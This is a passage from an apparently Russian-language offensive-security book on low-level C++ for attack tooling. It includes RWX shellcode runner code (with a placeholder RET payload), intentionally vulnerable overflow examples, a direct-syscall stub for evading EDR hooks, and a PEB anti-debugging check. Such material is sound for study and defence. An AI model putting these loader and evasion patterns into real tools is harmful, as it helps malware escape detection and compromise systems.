Наконец, изолируйте ваше хранилище. Никогда не храните скомпилированный вредоносный код на диске хоста. Используйте зашифрованные тома, виртуальные диски или выделенные разделы лаборатории. Четко маркируйте все, чтобы вы никогда случайно не загрузили вредоносный бинарный файл на GitHub или не передали его через облачную синхронизацию. Вы удивитесь, сколько людей теряют контроль над собственными инструментами, потому что они не маркировали и не разделяли их должным образом.
Создание лаборатории для вредоносного ПО - это не просто запуск вредоносного ПО. Это изучение того, как ведут себя полезные грузы, как реагируют защитники и как создавать лучшие, более скрытные и эффективные инструменты для атак. Когда у вас есть полный контроль над своей средой, вы можете безопасно экспериментировать, изучать свои ошибки и совершенствоваться без риска.


Глава 3 - Низкоуровневое программирование на C++ для хакеров​


Когда вы пишете инструменты для атакующей безопасности на C++, чем глубже вы погружаетесь, тем больше контроля получаете. Если вы хотите напрямую манипулировать памятью, выполнять шелл-код внутри другого процесса или вызывать тонкие сбои для разработки эксплойтов, вам нужно понять, как C++ работает с памятью "под капотом". Эта глава - та, где ваш код перестает вести себя как безопасное приложение и начинает действовать как оружие для атак.
Речь не идет о модных функциях, таких как шаблоны или объектно-ориентированное программирование. Здесь вы будете работать напрямую с адресами памяти, узнаете, как структурированы стек и куча, исследуете, что делает переполнение буфера возможным, и будете писать ассемблерный код прямо в свои C++ бинарные файлы. Это методы, которые авторы вредоносного ПО, разработчики эксплойтов и red teamers используют для получения контроля над системой - или ее злоупотребления.
Если вы раньше писали на C++, но никогда не касались сырой памяти, эта глава вас растянет. А если вы уже занимались реверсингом или написанием шелл-кода, она даст вам инструменты для создания с нуля, а не для модификации чужого полезного груза. Давайте начнем с практического знакомства с указателями, массивами и тем, как получить прямой доступ к памяти.

3.1 Указатели, массивы и прямой доступ к памяти​


Когда вы пишете инструменты для атак на C++, вы будете много времени работать напрямую с памятью. Это потому, что полезные грузы, шелл-код, внедренные DLL и даже импланты вредоносного ПО живут в памяти, прежде чем они сделают что-либо полезное. Чтобы контролировать, что входит, куда попадает и как себя ведет, вам нужно понимать указатели, массивы и как работать с сырой памятью.
Начнем с указателей. Указатель в C++ - это просто переменная, которая хранит адрес памяти. Он не хранит само значение - он хранит местоположение значения. Это означает, что если у вас есть переменная и указатель на нее, вы работаете не просто с данными. Вы работаете с конкретным байтом в памяти, где находятся эти данные.
Вот самый простой пример:

#include <iostream>
int main() {
int number = 1337;
int* ptr = &number;
std::cout << "Value: " << *ptr << std::endl;
std::cout << "Address: " << ptr << std::endl;
*ptr = 8080;
std::cout << "Modified Value: " << number << std::endl;
return 0;}


Происходящее здесь просто, но мощно. Вы создаете указатель, присваиваете ему адрес number и затем изменяете значение по этому адресу через указатель. Это основа для написания полезных грузов, которые манипулируют памятью или перенаправляют выполнение. Так перезаписываются указатели на функции, выполняется шелл-код и инспектируются стековые кадры.
Теперь рассмотрим массивы. Массивы в C++ - это просто непрерывный блок памяти. Когда вы определяете что-то вроде char buf[64], вы создаете 64 байта памяти, расположенные рядом друг с другом. Это означает, что если вы получите указатель на первый байт, вы можете пройти по всему буферу, просто инкрементируя указатель.

char buffer[5] = { 'A', 'B', 'C', 'D', '\0' };
char* p = buffer;
while (*p != '\0') {
std::cout << *p << std::endl;
p++;
}


Этот метод становится критически важным, когда вы парсите структуры памяти, проходите по шелл-коду или создаете полезные грузы, которые работают с буферами. Вы не используете высокоуровневые библиотеки парсинга - вы проходите по сырой памяти, байт за байтом.
Прямой доступ к памяти в C++ также означает, что вы можете выделять память там, где хотите, помечать ее как исполняемую, записывать в нее, а затем выполнять. Это основа загрузчиков шелл-кода в памяти.
Вот пример, который выделяет блок памяти с использованием Windows API, копирует в него полезный груз и выполняет его:

#include <windows.h>
#include <iostream>
unsigned char payload[] = {
0xC3 // RET - placeholder for safe demonstration
};
int main() {
void* exec = VirtualAlloc(nullptr, sizeof(payload), MEM_COMMIT
| MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!exec) {std::cerr << "Memory allocation failed." << std::endl;
return 1;
}
memcpy(exec, payload, sizeof(payload));
((void(*)())exec)(); // Executes the memory
return 0;
}


Здесь вы выделяете память с правами на чтение/запись/выполнение, копируете в нее полезный груз (который в реальных сценариях может быть обратным шеллом или пользовательским шелл-кодом) и выполняете его, приводя указатель к типу функции и вызывая ее.
Этот шаблон встречается во всех видах атакующих техник. Загрузчики рефлексивных DLL используют его для отображения и выполнения DLL без касания диска. Вредоносное ПО использует его для расшифровки полезных грузов во время выполнения и бесшумного перехода к ним. Файловое вредоносное ПО полагается на это, чтобы жить в памяти и избегать антивирусов, никогда не записывая на диск ничего обнаруживаемого.
Массивы и указатели также позволяют имитировать или анализировать повреждение памяти. Например, запись за пределы массива имитирует классическое переполнение буфера:

char buffer[8];
strcpy(buffer, "AAAAAAAAAAAAAAAA"); // Overwrites adjacent
memory


Это опасно и преднамеренно при разработке эксплойтов. Вы используете такие шаблоны для определения того, где перезаписывается память, как может быть перехвачен поток управления и возможно ли выполнение произвольного кода.
Следует помнить, что C++ дает вам контроль, а не безопасность. Если вы запишете по недопустимому адресу, вы можете вызвать сбой процесса или открыть уязвимости. Но именно это вам и нужно при тестировании эксплойтов или имитации реальных атак.
В Linux вы можете получить тот же уровень контроля, используя mmap:

#include <sys/mman.h>
#include <cstring>
#include <unistd.h>
int main() {
unsigned char code[] = { 0xC3 }; // RET
void* mem = mmap(nullptr, sizeof(code), PROT_READ |
PROT_WRITE | PROT_EXEC,MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
memcpy(mem, code, sizeof(code));
((void(*)())mem)();
return 0;
}


Это работает так же - выделяется память с правами на выполнение, в нее записываются байты, и происходит переход к ней.
Понимание того, как массивы и указатели связаны с расположением сырой памяти, помогает вам писать полезные грузы, которые не зависят от библиотек, загрузчики, которые декодируют и выполняют буферы памяти, и импланты, которые живут полностью в ОЗУ. Это первый шаг к переходу от высокоуровневого программирования к низкоуровневому контролю, который вам нужен для серьезной работы на C++ в области атак.

3.2 Внутреннее устройство стека и кучи​


Если вы создаете инструменты для атак на C++, ваша способность напрямую контролировать или злоупотреблять памятью зависит от того, насколько хорошо вы понимаете, как система ею управляет. Это начинается с двух основных областей памяти, которые использует каждый процесс: стек и куча. Это не просто абстрактные концепции. Это физические части расположения памяти вашей программы - и если вы знаете, где они находятся и как они себя ведут, вы можете писать лучшие полезные грузы, находить реальные уязвимости и точно имитировать эксплойты.
Стек - это место, где живут временные значения. Каждый раз, когда вы объявляете локальную переменную в функции, она помещается в стек. Сюда же входят параметры функции, адреса возврата, сохраненные регистры и метаданные потока управления.
Стек растет вниз - это означает, что он начинается с более высокого адреса памяти и растет к более низким адресам по мере выполнения большего количества вызовов функций. Каждый вызов функции создает стековый кадром - это раздел памяти, который содержит локальные переменные и контекст этой функции.
Вот простой пример, который поможет вам увидеть это в действии:

#include <iostream>
void checkStack() {
int a = 10;
int b = 20;
std::cout << "&a: " << &a << std::endl;
std::cout << "&b: " << &b << std::endl;
}
int main() {checkStack();
return 0;
}


Когда вы запустите это, вы заметите, что адрес b немного ниже адреса a, что показывает, что стек растет вниз. Это важно, когда вы пытаетесь понять, как работают переполнения - потому что когда локальный буфер переполняется, он обычно перезаписывает данные, которые находятся ниже в стеке, включая сохраненный адрес возврата.
Давайте углубимся. Если вы напишете что-то вроде этого:

void overflow(char* input) {
char buffer[16];
strcpy(buffer, input);
}


Вы копируете данные в небольшой стековый буфер, не проверяя его размер. Если input больше 16 байт, он начинает перезаписывать память за пределами buffer - включая такие вещи, как сохраненный EBP (базовый указатель) и адрес возврата. В уязвимом приложении это может позволить вам перенаправить выполнение на шелл-код. Это основа классических переполнений буфера на основе стека.
Стек быстр и автоматичен. Он выделяет память при вызове функции и освобождает ее при возврате из функции. Но он ограничен в размере. Если вы выделите слишком много места в стеке, вы столкнетесь с переполнением стека - не тем, которое является эксплойтом, а сбоем программы, вызванным превышением зарезервированного пространства.
Теперь переключите внимание на кучу. Куча - это место, где живет динамическая память. Каждый раз, когда вы используете new, malloc или аналогичные функции, вы просите систему предоставить вам память из кучи. В отличие от стека, куча управляется вручную - вы явно выделяете и освобождаете ее. Она растет вверх в памяти, в противоположность стеку. Она также более гибкая. Вы можете выделять большие блоки, изменять их размер и сохранять данные между вызовами функций.
Попробуйте этот небольшой фрагмент кода, чтобы сравнить оба:

#include <iostream>
void checkMemory() {
int localVar = 42;
int* heapVar = new int(99);
std::cout << "Stack variable address: " << &localVar << std::endl;
std::cout << "Heap variable address: " << heapVar << std::endl;
delete heapVar;}
int main() {
checkMemory();
return 0;
}


Когда вы запустите его, вы увидите, что переменная кучи находится далеко от стека - обычно в более высоком диапазоне адресов, в зависимости от операционной системы и расположения памяти. Это различие важно, когда вы пишете импланты или загрузчики, которые выделяют память для полезных грузов и хотят избежать оставления стековых трассировок.
Память кучи также может быть повреждена, и именно здесь все становится опасным. В некоторых системах злоумышленники используют способ работы аллокатора кучи, модифицируя метаданные, чтобы обмануть аллокатор и заставить его записывать в произвольные места памяти. Это называется эксплуатацией кучи. Это сложнее, чем переполнение стека, но часто мощнее - особенно в современных системах, где стек сильно защищен.
Давайте смоделируем, как может выглядеть переполнение кучи в коде:

#include <cstring>
#include <iostream>int main() {
char* buffer1 = new char[16];
char* buffer2 = new char[16];
strcpy(buffer1, "AAAAAAAAAAAAAAAAAAAAAAAAAAAA");
std::cout << "Buffer1: " << static_cast<void*>(buffer1) <<
std::endl;
std::cout << "Buffer2: " << static_cast<void*>(buffer2) <<
std::endl;
delete[] buffer1;
delete[] buffer2;
return 0;
}


Это грубая демонстрация, но когда buffer1 переполняется, он начинает перезаписывать buffer2. В реальной эксплуатации кучи вы будете нацеливаться на метаданные, которые управляют освобождением памяти, что приводит к мощным атакам, таким как использование после освобождения (use-after-free) или произвольная запись (arbitrary write).

В Windows вы можете выделять память кучи с помощью HeapAlloc и управлять флагами, такими как HEAP_ZERO_MEMORY. В Linux вы будете работать с malloc, calloc или mmap. В любом случае, как только у вас есть указатель на память кучи, вы полностью контролируете этот раздел памяти - что идеально подходит для хранения закодированных полезных грузов, расшифровки имплантов во время выполнения или подготовки многоэтапных атак.
И стек, и куча могут использоваться для хранения полезных грузов, но они по-разному ведут себя в памяти и по-разному защищены ОС. DEP (Data Execution Prevention) обычно помечает обе области как неисполняемые, поэтому вы используете VirtualAlloc или mprotect для явного запроса исполняемой памяти.
Понимание этой низкоуровневой структуры памяти помогает вам создавать полезные грузы, которые ведут себя интеллектуально. Например, если вам нужно хранить загрузчик в памяти и динамически передавать ему указатели на функции, куча дает вам гибкость. Но если вы хотите имитировать сбой и перенаправить выполнение с помощью переполнения стека, стек - ваша цель.
В реальном вредоносном ПО вы часто увидите гибридные методы. Уязвимость на основе стека используется для получения первоначального контроля, затем память выделяется в куче для более крупного полезного груза. Шелл-код внедряется в память кучи и выполняется путем перехвата адреса возврата или указателя на функцию. C++ позволяет вам реализовать и протестировать все это построчно.

3.3 Переполнение буфера в C++​


Переполнение буфера происходит, когда ваша программа записывает в буфер памяти больше данных, чем он был выделен для хранения. В C++ это обычно означает запись за пределы массива, часто из-за непроверенных строковых операций или прямого доступа к памяти. Это не просто ошибка - это дверь. Эта дверь может позволить злоумышленникам контролировать поток выполнения, внедрять шелл-код или вызывать сбой приложения, в зависимости от того, как и куда попадает переполнение.
Стек - это наиболее распространенное место, где проявляются переполнения буфера, особенно в старых или уязвимых кодовых базах. Давайте рассмотрим простой, но опасный пример:

#include <iostream>
#include <cstring>
void vulnerableFunction(const char* input) {
char buffer[16];
strcpy(buffer, input);
std::cout << "Buffer: " << buffer << std::endl;
}
int main() {
const char* longInput =
"AAAAAAAAAAAAAAAAAAAAAAAAAAAA";
vulnerableFunction(longInput);return 0;
}


Этот код компилируется нормально и может даже работать без сбоев сначала, в зависимости от вашей среды. Но он делает что-то рискованное: он принимает непроверенный ввод и записывает его в небольшой 16-байтный буфер с помощью strcpy, который не проверяет длину. Если input длиннее 16 байт, избыток начнет перезаписывать память за пределами buffer.
В стеке то, что находится за пределами buffer, может быть сохраненными регистрами или адресом возврата. Если злоумышленник может контролировать то, что попадает в эти области, он может перехватить управление программой - изменив адрес возврата для перехода к шелл-коду или настроив цепочку возвратно-ориентированного программирования (ROP).
Вот что делает это опасным: компилятор и среда выполнения не остановят вас. В C++ нет встроенной проверки границ для сырых массивов и указателей. Вы должны обеспечить это сами. Вот почему старые эксплойты часто нацелены на программы на C и C++ - язык дает вам силу, но он также дает вам веревку, чтобы повеситься, если вы не будете осторожны.

Чтобы понять, как это работает на практике, скомпилируйте приведенный выше код и исследуйте стек с помощью отладчика, такого как GDB (в Linux) или x64dbg (в Windows). Установите точку останова сразу после вызова strcpy и изучите содержимое стека. Вы увидите, как введенные данные выходят за пределы буфера в памяти.
Теперь давайте рассмотрим версию, имитирующую контролируемое условие эксплуатации:

#include <iostream>
#include <cstring>
void triggerOverflow() {
char buffer[32];
std::cout << "Enter input: ";
std::cin >> buffer;
std::cout << "You entered: " << buffer << std::endl;
}
int main() {
triggerOverflow();
return 0;
}


Если во время выполнения ввести более 32 символов, вы перезапишете части стека. Если бы вы делали это против уязвимого бинарного файла, вы бы сформировали входные данные для перезаписи адреса возврата адресом буфера shellcode или полезного гаджета в памяти.
В современных системах существует несколько защит, пытающихся остановить это: стековые канарейки (stack canaries), неисполняемые стеки (DEP), рандомизация адресного пространства (ASLR) и защита потока управления (CFG). Но эти защиты могут быть обойдены при правильных условиях - особенно если программа утекает адреса памяти, отключает защиты или работает в ограниченной или старой среде.
Переключимся на кучу (heap). Хотя переполнение стека чаще встречается в классических примерах C++, переполнение кучи также является серьезным вектором - особенно в буферах, выделенных в куче с помощью new или malloc. Опасность переполнения кучи заключается в том, как выделяется и освобождается память. Вы можете повредить внутренние метаданные кучи, заставив аллокатор работать некорректно, или перезаписать соседние объекты в памяти кучи.
Вот упрощенное переполнение кучи в C++:

#include <iostream>
#include <cstring>
int main() {
char* buffer1 = new char[16];
char* buffer2 = new char[16];
strcpy(buffer1, "AAAAAAAAAAAAAAAAAAAAAAAA"); // Переполнение в buffer2
std::cout << "Buffer2 (possibly corrupted): " << buffer2 <<
std::endl;
delete[] buffer1;
delete[] buffer2;
return 0;
}


Если расположение памяти помещает buffer2 непосредственно после buffer1, переполнение из buffer1 может изменить содержимое buffer2. Это может быть использовано, если buffer2 хранит указатель на функцию, указатель на виртуальную таблицу или структуру управления - вы перезаписываете это контролируемым злоумышленником значением и перехватываете поведение.
В наступательной разработке переполнение буфера часто используется для вызова выполнения кода - либо напрямую (путем перехода к shellcode), либо косвенно (путем цепочки существующих инструкций с использованием ROP). В пентестинге (red teaming) и исследовании эксплойтов ваша задача состоит в том, чтобы симулировать эти ситуации в безопасной лабораторной среде, анализировать, как ведет себя переполнение, и создавать инструменты для их тестирования.

Важный момент: современная разработка на C++ часто использует std::string, std::vector и подобные контейнеры, которые автоматически обрабатывают границы. Но в наступательном C++ вы часто работаете с "сырой" памятью и намеренно небезопасными шаблонами, потому что именно так работают реальные эксплойты и вредоносное ПО. Поэтому вы работаете "близко к железу", как в приведенных выше примерах.
Один из способов наглядно продемонстрировать перезапись - это вывод адресов памяти и значений до и после переполнения:

#include <iostream>
#include <cstring>
void inspect() {
char buffer1[8];
char buffer2[8] = "BEEP";
std::cout << "Before overflow: " << buffer2 << std::endl;
strcpy(buffer1, "AAAAAAAAAAAAAAAAAAAA");
std::cout << "After overflow: " << buffer2 << std::endl;
}
int main() {
inspect();
return 0;
}


Это может перезаписать buffer2 символами 'A', показывая, как на внешне не связанную переменную может повлиять переполнение другой. В этом суть повреждения памяти: запись в места, куда вам не следует попадать.
Переполнение буфера в C++ - это не просто ошибки программирования. Это возможности - для тестирования защит, симуляции атак и изучения пределов взаимодействия кода с памятью. Как наступательный разработчик, вы используете эти концепции для понимания того, как полезные нагрузки могут использовать слабые места, и как создавать свой код для очень специфического, контролируемого поведения при взаимодействии с уязвимыми целями.

3.4 Встроенная ассемблерная вставка и манипуляция регистрами​


В наступательном программировании на C++ наступает момент, когда высокоуровневых абстракций становится недостаточно. Будь то создание системных вызовов (syscalls), построение пользовательских загрузчиков shellcode или уклонение от обнаружения путем избегания вызовов API, вам потребуется точный контроль над регистрами процессора и инструкциями.
Именно здесь на помощь приходят встроенная ассемблерная вставка (inline assembly) и манипуляция регистрами.
C++ - один из немногих высокоуровневых языков, который позволяет смешивать "сырые" ассемблерные инструкции непосредственно в вашем коде. В 32-битных системах с использованием компилятора MSVC от Microsoft вы можете писать встроенный ассемблер с помощью __asm. В 64-битных системах вам потребуется использовать внешние ассемблерные файлы или встроенные функции компилятора (compiler intrinsics), поскольку MSVC не поддерживает встроенный ассемблер в 64-битном режиме. GCC и Clang предлагают расширенную встроенную ассемблерную вставку через ключевое слово asm или __asm__.
Начнем с простого примера для 32-битной Windows с использованием MSVC:

#include <iostream>
int main() {
int value = 5;
__asm {
mov eax, value
add eax, 3
mov value, eax
}
std::cout << "Modified value: " << value << std::endl;
return 0;
}


Этот код загружает переменную value в регистр EAX, добавляет 3 и записывает результат обратно. Вы напрямую манипулируете регистрами ЦП внутри программы C++.
Для разработчиков вредоносного ПО и пентестеров это основа для создания полиморфных или обфусцированных полезных нагрузок, перехвата процедур (hooking routines) или уклонения от проверок целостности потока управления путем использования инструкций, которые обычно не генерируются компиляторами.
При нацеливании на 64-битные системы вам потребуется другой подход, поскольку MSVC отключает встроенный ассемблер в x64. Вы можете либо использовать отдельные ассемблерные файлы и скомпоновать их в ваш бинарный файл, либо использовать встроенные функции компилятора. Вот как использовать встроенные функции для чтения и записи в специальные регистры:

#include <intrin.h>
#include <iostream>
int main() {
unsigned __int64 rsp = __readrsp();
std::cout << "Current RSP (Stack Pointer): " << std::hex << rsp <<
std::endl;
return 0;
}


Такие функции, как __readrsp, __readeflags и __readcr0, дают вам представление о состоянии ЦП без необходимости использования встроенного ассемблера. Они особенно полезны в сценариях, когда вы хотите прочитать текущий контекст выполнения или манипулировать управляющими регистрами для скрытого поведения.
В Linux у вас гораздо больше гибкости. С GCC или Clang вы можете писать встроенный ассемблер, используя ключевое слово asm. Вот базовый пример, который перемещает значения в регистры и извлекает их:

#include <iostream>
int main() {
int result;
asm("movl $42, %0" : "=r"(result));
std::cout << "Result: " << result << std::endl;
return 0;
}


Это расширенная встроенная ассемблерная вставка, которая позволяет интегрировать значения регистров с переменными C++ с помощью ограничений (constraints). Она широко используется при разработке эксплойтов, когда вы хотите избежать вызова стандартных библиотечных функций или при написании заглушек системных вызовов (syscall stubs).
Давайте пойдем дальше. Предположим, вы хотите вызвать системный вызов напрямую, не используя Windows API. Классическим примером является NtAllocateVirtualMemory. Вы можете написать свою собственную заглушку системного вызова на ассемблере и выполнить ее из C++. Авторы вредоносного ПО делают это, чтобы избежать срабатывания хуков пользовательского режима, размещенных EDR (решениями для обнаружения и реагирования на конечных точках).
Идея состоит в том, чтобы полностью обойти Windows API и перейти непосредственно в ядро, используя системный вызов.
В 64-битной Windows типичная заглушка системного вызова может выглядеть так на ассемблере:

mov r10, rcx
mov eax, syscall_number
syscall
ret


В C++ вы бы выделили исполняемую память, скопировали эту заглушку, установили правильный номер системного вызова в EAX и перешли к ней. Этот подход требует знания номеров системных вызовов, которые меняются между сборками Windows - но для пентестеров и разработчиков вредоносного ПО этот метод является чистым способом обойти обнаружение.
Встроенная ассемблерная вставка также играет критическую роль в shellcode. При написании позиционно-независимого кода вы хотите избегать абсолютных адресов и использовать такие методы, как call-pop, для поиска вашего раздела данных. Это требует точной манипуляции регистрами. Например, в shellcode:

call get_address
get_address:
pop esi ; ESI теперь указывает на наши данные


Вы можете воспроизвести этот шаблон в C++, если встраиваете свой shellcode и выполняете его из динамически выделенной памяти. Вам просто нужно убедиться, что инструкции не содержат абсолютных адресов, и что все регистры сохраняются при необходимости.
Иногда вы будете использовать встроенный ассемблер не для запуска полезных нагрузок, а для выхода из песочниц (sandboxes) или обнаружения отладчиков. Один из распространенных методов - проверка значения FS:[30h] сегмента в Windows, которое указывает на блок управления процессом (PEB). Если флаги внутри PEB указывают на подключенный отладчик, вы можете захотеть, чтобы ваш код вел себя иначе.
Вот как это сделать в MSVC с использованием встроенных функций:

#include <windows.h>
#include <iostream>
bool isDebuggerPresent() {
return IsDebuggerPresent();
}
bool isDebuggerPEB() {
return *(BYTE*)(__readfsdword(0x30) + 2);
}
int main() {
std::cout << "Debugger check (API): " << isDebuggerPresent() <<
std::endl;
std::cout << "Debugger check (PEB): " << isDebuggerPEB() <<
std::endl;
return 0;
}


Обе проверки делают одно и то же - одна через API, другая путем прямого чтения PEB. Второй метод труднее перехватить или перехватить и часто используется в вредоносном ПО для обнаружения инструментов аналитиков.
В наступательной разработке такой контроль отделяет базовую полезную нагрузку от продвинутого импланта. Когда вы пишете загрузчик рефлексивных DLL, декодируете shellcode "на лету" или патчите системные функции во время выполнения, вам нужен доступ к "сырым" инструкциям и управляющим регистрам.
Вы также будете использовать эти знания в методах антианализа. Например, некоторые вредоносные программы изменяют адрес возврата функции "на лету", модифицируя стек или вызывая ассемблер, который выполняет дальний переход (far jump), что затрудняет отслеживание в отладчиках.
Каждый раз, когда вы касаетесь регистра или вручную пишете инструкцию, вы уменьшаете зависимость от высокоуровневых абстракций и приближаетесь к тому, что фактически выполняет процессор. Это дает вам контроль, скрытность и гибкость - именно то, что вам нужно при создании инструментов для операций red team или реверс-инжиниринга современного вредоносного ПО.

3.5 Работа с системными заголовочными файлами и API​


Если вы пишете наступательные инструменты на C++, ваше взаимодействие с системой не ограничивается стандартной библиотекой. Вам часто потребуется прямой доступ к низкоуровневым системным функциям - таким как выделение памяти, создание процессов, внедрение потоков и ввод-вывод файлов. Именно здесь в игру вступают системные заголовочные файлы и API. Эти интерфейсы предоставляют функции, предоставляемые операционной системой, и их эффективное использование необходимо для таких задач, как внедрение кода, "вытравливание" процессов (process hollowing) или загрузка рефлексивных DLL.
В Windows системное программирование начинается с включения <Windows.h>. Этот заголовочный файл является шлюзом к Windows API. Он предоставляет сотни функций, структур и констант, которые вам понадобятся для всего, от выделения виртуальной памяти с помощью VirtualAlloc до манипулирования токенами доступа с помощью OpenProcessToken.
Например, предположим, вы хотите выделить буфер памяти в удаленном процессе для подготовки к внедрению кода. Вот как вы можете сделать это, используя нативные вызовы Windows API:

#include <windows.h>
#include <iostream>
int main() {
LPVOID alloc = VirtualAlloc(nullptr, 4096, MEM_COMMIT |
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (alloc) {
std::cout << "Memory allocated at: " << alloc << std::endl;
} else {
std::cerr << "Memory allocation failed." << std::endl;
}
return 0;
}


Этот вызов полностью обходит управление памятью C++ и выделяет память непосредственно в виртуальном адресном пространстве процесса. Это особенно полезно, когда вы готовитесь записывать shellcode, загружать зашифрованные бинарные файлы или подготавливать полезные нагрузки, которые должны находиться в памяти.
Вы также часто будете взаимодействовать с API статуса процессов (PSAPI), который позволяет перечислять запущенные процессы, читать информацию о модулях или отображать области памяти. Например, чтобы вывести список модулей, загруженных процессом, вы можете включить <Psapi.h> и вызвать EnumProcessModules.
Другой критически важный набор заголовочных файлов относится к Native API, предоставляемому через ntdll.dll. Это недокументированные или полудокументированные внутренние системные функции, такие как NtQueryInformationProcess, NtAllocateVirtualMemory и NtCreateThreadEx. Они находятся на более низком уровне, чем эквиваленты Windows API, и позволяют обходить хуки мониторинга API, часто используемые антивирусными продуктами и EDR.
Вы не найдете их в <Windows.h>. Вместо этого вам нужно вручную определить сигнатуры функций с помощью typedef или использовать коллекции заголовочных файлов, предоставленные сообществом. Вот как вы бы определили и использовали NtAllocateVirtualMemory:

#include <windows.h>
#include <iostream>
typedef NTSTATUS(WINAPI* NtAllocateVirtualMemory_t)(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect);
int main() {
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
NtAllocateVirtualMemory_t NtAlloc =
(NtAllocateVirtualMemory_t)GetProcAddress(ntdll,
"NtAllocateVirtualMemory");
PVOID base = nullptr;
SIZE_T size = 0x1000;
NTSTATUS status = NtAlloc(GetCurrentProcess(), &base, 0, &size,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (status == 0) {
std::cout << "Allocated memory using
NtAllocateVirtualMemory: " << base << std::endl;
} else {
std::cerr << "NtAllocateVirtualMemory failed. NTSTATUS: "
<< std::hex << status << std::endl;
}
return 0;
}


Этот пример показывает, как вручную вызывать недокументированные системные функции. Разработчики вредоносного ПО часто используют этот подход, чтобы оставаться незамеченными. Пентестеры используют его для симуляции продвинутых техник, имитирующих реальные угрозы, не вызывая срабатывания инструментов безопасности.
В наступательной разработке на C++ вы также будете работать со структурами, определенными в таких заголовочных файлах, как <TlHelp32.h> для перечисления потоков, <winternl.h> для доступа к внутренним компонентам, таким как PEB или TEB, и <Aclapi.h> или <Sddl.h> при работе с привилегиями и токенами.
Например, чтобы вывести список всех потоков в процессе, вы можете использовать CreateToolhelp32Snapshot и Thread32First/Thread32Next:

#include <windows.h>
#include <tlhelp32.h>
#include <iostream>
void listThreads(DWORD pid) {
HANDLE snapshot =
CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (snapshot == INVALID_HANDLE_VALUE) return;
THREADENTRY32 te;
te.dwSize = sizeof(te);
if (Thread32First(snapshot, &te)) {
do {
if (te.th32OwnerProcessID == pid) {
std::cout << "Thread ID: " << te.th32ThreadID <<
std::endl;
}
} while (Thread32Next(snapshot, &te));
}
CloseHandle(snapshot);
}
int main() {
DWORD pid = GetCurrentProcessId();
listThreads(pid);
return 0;
}


Такой уровень контроля необходим при создании инструментов для внедрения в другие процессы или их инспекции.
В Linux работа с системной функциональностью означает включение таких заголовочных файлов, как <unistd.h>, <sys/mman.h>, <sys/ptrace.h> и <sys/types.h>. Они предоставляют функции для управления памятью, обработки сигналов и манипулирования процессами. Например, для выделения исполняемой памяти:

#include <sys/mman.h>
#include <unistd.h>
#include <iostream>
int main() {
void* mem = mmap(nullptr, 4096, PROT_READ | PROT_WRITE |
PROT_EXEC,
MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
if (mem == MAP_FAILED) {
std::cerr << "mmap failed" << std::endl;
return 1;
}
std::cout << "Memory allocated at: " << mem << std::endl;
return 0;
}


Такое выделение памяти является основной частью любого загрузчика или импланта на базе Linux. В сочетании с такими функциями, как ptrace для манипулирования процессами или fork/exec для создания процессов, вы можете создавать полнофункциональные инструменты, которые могут конкурировать с коммерческими наборами для тестирования на проникновение.
Понимание того, как системные заголовочные файлы и API предоставляют низкоуровневую функциональность, позволяет вам обходить абстракции, уменьшать зависимости и создавать инструменты, которые ведут себя больше как реальное вредоносное ПО. Независимо от того, работаете ли вы в Windows или Linux, эти знания дают вам гибкость для выделения памяти, запуска процессов, внедрения потоков или манипулирования привилегиями без зависимости от управляемых библиотек или готовых инструментов.


Глава 4 - Инженерия Shellcode на C++​


Когда вы переходите на территорию инженерии shellcode, вы работаете на стыке низкоуровневого системного контроля и точности наступательного программирования. Shellcode - это не просто последовательность байтов, это компактная, вручную созданная полезная нагрузка, которая выполняет конкретные действия, такие как запуск оболочки, внедрение в другой процесс или загрузка двоичного файла второй ступени, и все это при уклонении от обнаружения. C++ дает вам гибкость и доступ, необходимые для эффективной работы с shellcode, особенно в сочетании с прямым использованием системных API и тщательным управлением памятью.
В этой главе вы узнаете, как писать функции C++, совместимые с ограничениями shellcode, как встраивать shellcode в бинарный файл C++, как безопасно и чисто выполнять его из памяти, а также как скрывать его присутствие с помощью кодирования и шифрования. Вы также создадите рабочий загрузчик обратной оболочки (reverse shell loader), используя концепции, рассмотренные в этой главе.

4.1 Написание безопасных функций, совместимых с Shellcode​


При создании shellcode вы больше не пишете обычные функции C++. Вы пишете код, который будет напрямую внедрен в память и выполнен без помощи стандартной среды выполнения. Это означает отсутствие стандартной библиотеки C++, отсутствие глобальных конструкторов, отсутствие виртуальных таблиц, отсутствие исключений, отсутствие динамической памяти от new и отсутствие предположений о том, где будет загружен ваш код. Каждая инструкция должна быть безопасной, переносимой в памяти и максимально компактной.
Основное требование к функциям, совместимым с shellcode, заключается в том, что они должны быть позиционно-независимыми. Это означает, что код не должен полагаться на абсолютные адреса или требовать перемещения. Он должен корректно выполняться независимо от того, где он находится в памяти. Это критически важно, поскольку shellcode обычно внедряется в блоки памяти, выделенные во время выполнения - и эти области памяти могут меняться каждый раз при запуске кода.
Другое ключевое правило - избегать внешних зависимостей. Когда вы пишете обычный код C++, вы полагаетесь на компилятор и компоновщик для разрешения символов, управления импортами и настройки среды выполнения. Shellcode не получает такой роскоши. Все, что вам нужно, должно быть самодостаточным в пределах генерируемой вами последовательности байтов.
Начнем с примера. Вот небольшая, чистая процедура копирования памяти, которая не полагается ни на какие библиотеки или динамическое выделение:

void copy_buffer(char* destination, const char* source, int length) {
for (int i = 0; i < length; ++i) {
destination[i] = source[i];
}
}


Этот код компилируется в простые машинные инструкции и не затрагивает ничего за пределами своих параметров. Вы можете безопасно встроить его в shellcode или использовать как часть загрузчика. Здесь нет глобальных переменных, нет ссылок на символы среды выполнения и нет исключений, которые могли бы нарушить поток управления.
Предположим, вы пишете загрузчик shellcode, которому нужно переместить закодированные байты в исполняемую область памяти. Эта функция может быть использована после того, как вы расшифровали свою полезную нагрузку и хотите передать ее для выполнения.
Теперь рассмотрим такую функцию:

int add(int a, int b) {
return a + b;
}


Это выглядит безобидно, но если скомпилировать с отключенной оптимизацией или сгенерировать символы в C++, это может привести к созданию кода, использующего последовательности пролога и эпилога, полагающиеся на среду выполнения. Если включены исключения, это также может включать метаданные размотки стека или ссылку на __CxxFrameHandler3 для поддержки SEH - что нарушает выполнение shellcode.
